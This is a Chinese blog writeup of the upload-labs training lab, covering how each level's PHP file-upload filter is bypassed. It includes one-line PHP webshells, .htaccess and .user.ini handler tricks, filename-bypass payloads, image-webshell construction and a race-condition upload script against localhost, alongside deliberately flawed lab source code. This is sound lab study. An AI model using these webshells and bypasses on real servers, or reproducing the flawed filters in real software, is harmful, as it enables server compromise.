目录
  1. 1. 概要
  2. 2. 前端检测
    1. 2.1. Pass-01
  3. 3. 后缀名的检测
    1. 3.1. Pass-02
    2. 3.2. Pass-03
    3. 3.3. Pass-04
    4. 3.4. Pass-05-10 参照物
    5. 3.5. Pass-05
    6. 3.6. Pass-06
    7. 3.7. Pass-07
    8. 3.8. Pass-08
    9. 3.9. Pass-09
    10. 3.10. Pass-10
    11. 3.11. Pass-11
    12. 3.12. Pass-12
  4. 4. 文件内容的检查
    1. 4.1. Pass-13~16
  5. 5. 代码逻辑
    1. 5.1. Pass-17
    2. 5.2. Pass-18
    3. 5.3. Pass-19
    4. 5.4. Pass-20
  6. 6. 由Upload-labs的几关引发的思考
    1. 6.1. 概要
    2. 6.2. windows下创建文件
    3. 6.3. 黑名单与上传的文件名
      1. 6.3.1. 什么是 Windows 特性
      2. 6.3.2. Pass 5、6、7、9关
    4. 6.4. 除了 .htaccess 之外呢?
    5. 6.5. magic_quotes_gpc的开关
    6. 6.6. 二次渲染?
    7. 6.7. imagemagick 邂逅 getimagesize
通过 Upload-labs 掌握文件上传漏洞

项目地址https://github.com/c0ny1/upload-labs

概要


运行环境为:windows + php:5.2.17

写自己的马的时候最好直接写成 phpinfo:

<?php
phpinfo();
?>

这样方便你进行查看你上传的马是否被解析,我这里因为环境配置的原因,不能使用phpinfo,所以只能一个一个菜刀连,才能检验是否上传解析成功(但是连菜刀的时候有种莫名的快感

每打通一关后就请一下自己的马叭,留在自己电脑上万一哪一天…


前端检测

Pass-01

考点:前端验证的绕过

随便上传一个php的一句话木马

<?php @eval($_POST[value]);?>

后缀名为 .php,上传时被拦截,并弹窗说明该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php

但是 burpsuite 没有抓到包

猜测是前端js对上传的文件的后缀名进行了限制,跟进一下网页源码,这段js对文件上传的后缀名进行了判断操作

前端js的校验是很不安全的

解决方法如下:

  1. 直接禁用前端js,使其js不能起到禁止文件上传的作用
  2. 在js白名单校验处添加 .php使其能够正常上传(chrome下F12尝试更改了一下,没有成功,大家可以自行尝试
  3. 传统办法:先将木马文件后缀改为 .jpg格式,上传抓包,在burpsuite中修改后缀为 .php

这里采用 Firefox 下的一个插件 Noscript(方便极了…
下载地址:https://addons.mozilla.org/zh-CN/firefox/addon/noscript/

直接禁用掉当前页面的js,暴力上传我们的php文件

测试一下,然后自己连上自己的马


后缀名的检测

Pass-02

考点:Content-Type的验证

源码中的文件上传的先决判断条件为

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

$_FILES["file"]["type"] —— 对应上传文件的类型

对其type属性进行了白名单限制,可见相应的是判断 Content-Type 的内容,上传jpg格式的图片,jpg格式的图片的Content-Type默认为 image/jpeg

于是在 burpsuite 中选择修改 Content-Type 中的值如下图

常见的图片格式
PNG图像:image/png
GIF图形: image/gif
JPG图形:image/jpeg


Pass-03

考点:黑名单后缀的绕过

首先还是随便传一个PHP一句话

然后网站提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!

且 burpsuite 抓得到包,说明不是通过前端js判断,所以通过 burpsuite 抓包修改文件后缀为 php5或者 phtml

注:能够解析php5前提是apache的httpd.conf中有如下配置代码
AddType application/x-httpd-php .php .phtml .phps .php5

这里就直接使用 burpsuite 修改后缀名为 .phtml

一开始用C刀连发现连不上,但是看文件夹里面的 ma 都传上去了…换了把刀之后就好了(刀还是多备几把emm…

常用后缀名绕过 .php; .php5; .php4; .php3; .php2; .phtml; .pht; .pHp; .pHp5; .pHp4; .pHp3; .pHp2

但是观察源码发现没有过滤 .hraccess, 所以这关还可以使用 htaccess修改配置绕过

具体方法见下文


Pass-04

考点:.htaccess的妙用

相比于上一关的过滤,这一关要严格许多

.htaccess文件概述

写一个 .htaccess 文件,内容如下:

<FilesMatch "ma">
SetHandler application/x-httpd-php
</FilesMatch>

这样所有包含 ma 的文件名就会自动解析成 php 文件

但是在windows下更改 .htaccess 时出错

故还是通过 burpsuite 抓包改包的方式来上传文件

上传成功之后开始接着上传我们的马,带了 ma 关键词的也不在黑名单之内的都可以成功上传

所以我们直接上传成jpg格式的,会被成功解析,菜刀直连


Pass-05-10 参照物

先贴一个相对于过滤完全的源码,立为参照物

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>

Pass-05

考点:大小写混写绕过黑名单

第五关在源码的黑名单中加入了 .htaccess ,所以这一关将不能继续使用前面的方法

array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

考点还是黑名单的绕过

法一:大小写混写

我猜这应该是作者主要想考察的点,对比一下前面贴的参照物的源码可以发现,缺少一个过滤点如下

$file_ext = strtolower($file_ext); //转换为小写

所以这关我们采用大小写混写的方式进行绕过

还是传统的抓包改包,修改文件的名称

.php 修改为 ——》 .phP 即可

法二:各类中间件的漏洞

由于本地环境达不到要求,所以就跳过了此方法

注:有其他部分关卡也可以利用此方法,只需要搭建你的环境即可,感兴趣的老哥可以自行尝试

部分中间件漏洞总结

Pass-06

考点:空格绕过黑名单

这一关还是过滤了前面已经过滤的东西,但对比一下前面贴的参照物的源码可以发现,缺少一个过滤点如下

$file_ext = trim($file_ext); //首尾去空

所以这里直接上传的时候加一个空格,前面解释过的windows会将空格忽略掉

所以我们 burpsuite 抓包,直接修改为 .php[空格]

这样既能绕过黑名单,还能被成功解析,最后成功连接上菜刀


Pass-07

考点:.绕过黑名单

这一关还是过滤了前面已经过滤的东西,但对比一下前面贴的参照物的源码可以发现,缺少一个过滤点如下

$file_name = deldot($file_name);//删除文件名末尾的点

利用上述windows特性上传 ma.php..即可

因为拼凑的路径是最初读取到的文件名,所以在windows下可成功上传


Pass-08

考点:::$DATA 绕过黑名单

这一关还是过滤了前面已经过滤的东西,但对比一下前面贴的参照物的源码可以发现,缺少一个过滤点如下

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

在看雪论坛中已经有人对 ::$DATA 做过详解:https://bbs.pediy.com/thread-246118.htm

Windows文件流特性: ::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持 ::$DATA之前的文件名

所以直接利用windows文件流特性上传文件 ma.php::$DATA(仅限windows


Pass-09

考点:.[空格]. 绕过黑名单

这一关还是过滤了前面已经过滤的东西,但对比一下前面贴的参照物的源码可以发现,拼接参数的差异性如下

参照物中采用了拼接经过strrchr()处理过的后缀名,而第9关直接使用了读取原来的文件名

因为源码中只进行了一次点号的去除,且我们只需要让经过过滤后的后缀名不在黑名单里即可,所以我们直接采用 ma.[空格]. 就可以进行绕过

且deldot()函数的处理为:deldot函数从后向前检测,检测到末尾的第一个点时将继续检测,当检测到空格时就停下来,不再检测

所以第9关处理流程如下


Pass-10

考点:双写后缀绕过黑名单

第10关精简的代码过滤也很奇葩

<?php 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>

其中通过 $file_name = str_ireplace($deny_ext,"", $file_name); 这个过滤点来处理黑名单的后缀

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

所以这一行的代码仅仅是把匹配到的黑名单后缀替换为空了(只进行一次操作)

从xss里面的这种过滤点的启发告诉我们只需要双写我们的后缀名,然后进行一次替换为空,就可以重新利用了

pphphp ——》替换一次 p[php->空]hp ——》 php

所以当我们上传 ma.pphphp 时最终剩下 ma.php



Pass-11

考点:00截断之GET

先贴一个链接 00截断上传原理

浅显的意思就是在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

所以代码中导致漏洞的点在这一句

所以我们只需要在burpsuite中做出相应的更改

在第一次上传中显示上传出错

仔细查看配置后发现我们 phpstudy 中的 magic_quotes_gpc 是默认开启的

magic_quotes_gpc_百度百科

猜测可能是由于我们的 %00被当成了空字节,然后进入服务端,在预定义字符前面添加了反斜杠(不是很清楚,大佬轻喷)

所以在phpstudy中关闭这个的选项即可成功上传

先知的一篇文章中也在此指出 CVE-2015-2348
影响版本:5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7
exp:move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");


Pass-12

考点:00截断之POST

源码和上一关大同小异,对比一下两关在对 save_path处处理的差异性

服务器不会自动将%00编码为空字符,具体操作和上一关大同小异

看了一下其他的 wp 通过burpsuite里面的hex修改,我觉得是没有什么必要的,找着找着眼睛都花了…

不得不说一下 burpsuite 的强大

还是可以成功上传

还是在关闭 phpstudy 中的magic_quotes_gpc 的情况下


文件内容的检查

Pass-13~16

考点:妙用图片马

首先需要掌握的是制作图片马

具体可参考:制作一句话图片马

方法一:010 Editor 编辑

下载地址:https://www.sweetscape.com/download/010editor/

直接插入最右下方

方法二:cmd命令行

使用CMD制作一句话木马。
参数/b指定以二进制格式复制、合并文件; 用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件。用于txt等文档类文件
copy 1.jpg/b+1.php 2.jpg
//意思是将1.jpg以二进制与1.php合并成2.jpg
那么2.jpg就是图片木马了。

四关分别通过不同的方式对其进行校验,但是我们只需按照上面的方法即可上传我们的图片马

Pass13:
$file_type = getReailFileType($temp_file);
getReailFileType函数只会读取文件的前两个字节

Pass14:

$info = getimagesize($filename);	//getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。


$ext = image_type_to_extension($info[2]); //取得图像类型的文件后缀

Pass15:

 //需要开启php_exif模块
$image_type = exif_imagetype($filename);

Pass16:
有了二次渲染的代码

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
先知上有人基于16关专门开了一帖分析,分析得十分详细:upload-labs之pass 16详细分析


代码逻辑

Pass-17

考点:条件竞争

先看一波代码

<?php 
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif'); //白名单数组
$file_name = $_FILES['upload_file']['name']; //保存的文件在上传者机器上的文件名,
$temp_file = $_FILES['upload_file']['tmp_name']; //——保存的是文件上传到服务器临时文件夹之后的文件名
$file_ext = substr($file_name,strrpos($file_name,".")+1); //截取后缀
$upload_file = UPLOAD_PATH . '/' . $file_name; //拼接路径

if(move_uploaded_file($temp_file, $upload_file)){ //将上传的文件移动到新位置。
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //拼接
rename($upload_file, $img_path); //重命名
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file); //删除
}
}else{
$msg = '上传出错!';
}
}
?>

代码逻辑的漏洞点是有害文件先 :保存 ——》 检测 ——》删除

那么利用 从 保存 到 检测 的时间即可访问我们的文件

网上一个师傅的博客里有写到一个脚本 :http://poetichacker.com/writeup/%E4%BB%8Eupload-labs%E6%80%BB%E7%BB%93%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%85%B6%E7%BB%95%E8%BF%87.html

需要先安装模块 pip install hackhttp

#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream

<?php assert($_POST["LandGrey"])?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

Pass-18

考点:条件竞争

还是逻辑漏洞

因为move在rename之前,move操作进行了一次文件保存,然后rename进行了一次更改文件名

所以在更名之前访问即可


Pass-19

考点:绕过

  • 法一

CVE-2015-2348 move_uploaded_file() 00截断

  • 法二
    move_uploaded_file会忽略掉文件末尾的/.

Pass-20

考点:数组绕过


参考链接:
https://xz.aliyun.com/t/4029#toc-0
https://xz.aliyun.com/t/2435#toc-0
https://blog.cfyqy.com/article/52a34cc3.html

由Upload-labs的几关引发的思考

文章首发先知社区:https://xz.aliyun.com/t/5791#reply-12431

概要

upload-labs 一共20关,是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场…

项目地址https://github.com/c0ny1/upload-labs

最近在练习 upload-labs 里面的关卡,耐心的做完题目后受益良多…

windows下创建文件

Pass-04 这一关主要考察了 .htaccess 的利用

由于黑名单没有过滤掉 .htaccess ,所以我们能够上传.htaccess 文件导致其后上传的其他文件能够解析成 php,从而拿到shell

但是我在 windows 上直接创建 .htaccess 时会弹窗报错,告知必须输入文件名

因为我们输入的是 .htaccess ,猜测 windows 把它当做了是一个文件的后缀名,所以提示我们输入文件前面的名字

那么为什么不能这样进行创建呢?
具体可见:The Old New Thing: https://devblogs.microsoft.com/oldnewthing/?p=22763

当时就直接改成 .htaccess.txt 了,然后通过传统的办法,利用 burpsuite 抓包改包。重新改为 .htaccess

但是后知后觉的了解了一下 windows 的特性,发现有如下解决办法

方法一:

弹窗提示的原因是因为没有文件名,那么我们创建 .htaccess.

windows又会自动的忽略掉后面的 . 而成功创建


方法二:

命令行窗口 + echo命令

开启命令行窗口,直接在命令行窗口输入 echo [你要输入的文字] > .htaccess

不仅能成功创建,还能直接将内容输入进文件内

黑名单与上传的文件名

什么是 Windows 特性

主要探究创建文件时的windows特性…

网上找了一圈资料没发现有具体的描述,看了upload-labs的一些其他writeup,发现里面都是一句,由windows特性可知…
我也不知道核心原理是什么,我就自行探索一下,有错误的地方大佬们请批评指正

系统:windows10旗舰版

创建文件 1.php ——》 设置为参照物


创建文件 1.php. ——》进行一次弹窗 ——》确定更改后变为 1.php
且无论后面加多少个. ——》均进行一次弹窗 ——》确定更改后变为 1.php


创建文件 1.php[空格] ——》直接变为 1.php
且无论后面加多少个空格 ——》均直接变为 1.php


创建文件 1.php[空格]. ——》进行一次弹窗 ——》确定更改后变为 1.php


创建文件 1.php.[空格] ——》进行一次弹窗 ——》确定更改后变为 1.php


创建文件 1.php.[空格] ——》进行一次弹窗 ——》确定更改后变为 1.php


创建文件 1.php.[空格]. ——》进行一次弹窗 ——》确定更改后变为 1.php


然后尝试在文件后面不断循环几次 .和空格
最后就不断弹窗,删除不了文件也没法重命名,打不开任何文件,只要点击鼠标就会弹窗(仿佛被植入xss…
最后通过重启电脑解决

Pass 5、6、7、9关

问:为什么要研究windows创建文件的特性?
答:通过windows特性,我们就是为了构造出一些特殊的文件名,既能绕过waf,又使php文件能正常解析

先贴一个针对5,6,7,9关过滤相对完全的代码

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>

针对上述相对过滤完全的代码,在没有中间件漏洞的情况下,对于我这种菜鸡来说还是难以突破的(大佬们可以指点一下…

先说一下 Pass-05
它的源码中缺少 $file_ext = strtolower($file_ext); //转换为小写 这一个过滤

所以常规的后缀名大小写混写就可以绕过黑名单的限制

.php ——》 .phP


再说一下 Pass-06
它的源码中缺少 $file_ext = trim($file_ext); //首尾去空 这个过滤点

所以我们构造 ma.php[空格],上传后经过滤如下

然后成功创建文件


再看一下 Pass-07
它的源码中缺少 $file_name = deldot($file_name);//删除文件名末尾的点 这个过滤点

所以我们构造 ma.php.,上传后经过滤如下

最后通过windows的特性变为 ma.php


可能是因为做了6,7关(特别是第7关),突然好像有所顿悟,又回头看了看第5关…

于是有了下面的错误思路

回去再次读了一遍第5关的源码后发现只对 . 做出了一次过滤

那么我们可以传入 ma.php.[空格].于是在幻想中,过滤情形应该是这样的

结果…

所以说实际情况是

因为strrchr()函数的原因,所以中间件漏洞可以在此成功利用
PHP strrchr() 函数
部分中间件漏洞总结

第 9 关就不一样
第 9 关拼接的路径为 $img_path = UPLOAD_PATH.'/'.$file_name;
所以采用上面的办法可以很顺利的完成绕过

补:deldot函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

对比一下 Pass-05 和 Pass-09 会发现,Pass-09之所以能够成功执行的原因是因为他所拼接的文件路径是最开始读到的文件名

不难看出问题的关键还是拼接路径的方式,如果是拼接最开始读取到的文件名,显然是极其不安全的

除了 .htaccess 之外呢?

经过了 Pass-04这一关我们可以发现 .htaccess的妙用

但是 upload-labs 也忽略了一些其他的小 trick

思路学习自 p神博客 离别歌-user.ini文件构成的PHP后门

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。

我们还可以看一波官方怎么说 .user.ini 文件

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

由此可见配置会被重新上传的 .user.ini 重新更改

更多详细介绍可以看网上的这篇文章 神秘的.user.ini文件

magic_quotes_gpc的开关

以及第11关使用%00截断的时候

如果 magic_quotes_gpc 选项是开启的话,会造成上传图片失败

而百度和谷歌对 magic_quotes_gpc 的介绍都着重偏向数据库方面,都是为了防止sql注入,但是有一段内容说了magic_quotes_gpc开启会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

这里猜测是因为 %00 被解析成了空,所以造成在预定义字符前面加上了反斜线,因此构造的路径改变,导致上传错误

关闭后即可正常上传,由于具体原因只是推测,所以没有写上去,如果不对,请师傅们批评指正

二次渲染?

对这个的思考来源于Pass-16 和一篇先知的文章:upload-labs之pass 16详细分析

贴上它的源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

先知这篇文章中提到:
在这里有一个问题,如果作者是想考察绕过二次渲染的话,在move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染并不会影响到图片马的上传.如果是想考察文件后缀和content-type的话,那么二次渲染的代码就很多余.(到底考点在哪里,只有作者清楚.哈哈)

先知的文章将过程写的很详细,想到了不久之前的 DDCTF 中也有一道二次渲染的考题

DDCTF中的 Upload-IMG 这题,设计到了GD库的二次渲染,通过一个小脚本即可绕过:绕过GD库渲染的WEBSHELL生成器

官方的writeup如下
经验就是
1、图片找的稍微大一点 成功率更高
2、shell语句越短成功率越高
3、一张图片不行就换一张 不要死磕
4、可以把gd处理的图片再用工具跑一遍再传

imagemagick 邂逅 getimagesize

Pass-14 中涉及到了 getimagesize

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

前端时间P牛更新了他的博客,imagemagick邂逅getimagesize的那点事儿: https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html

有兴趣的大佬们可以深究一下…

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/07/30/Upload-labs-Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论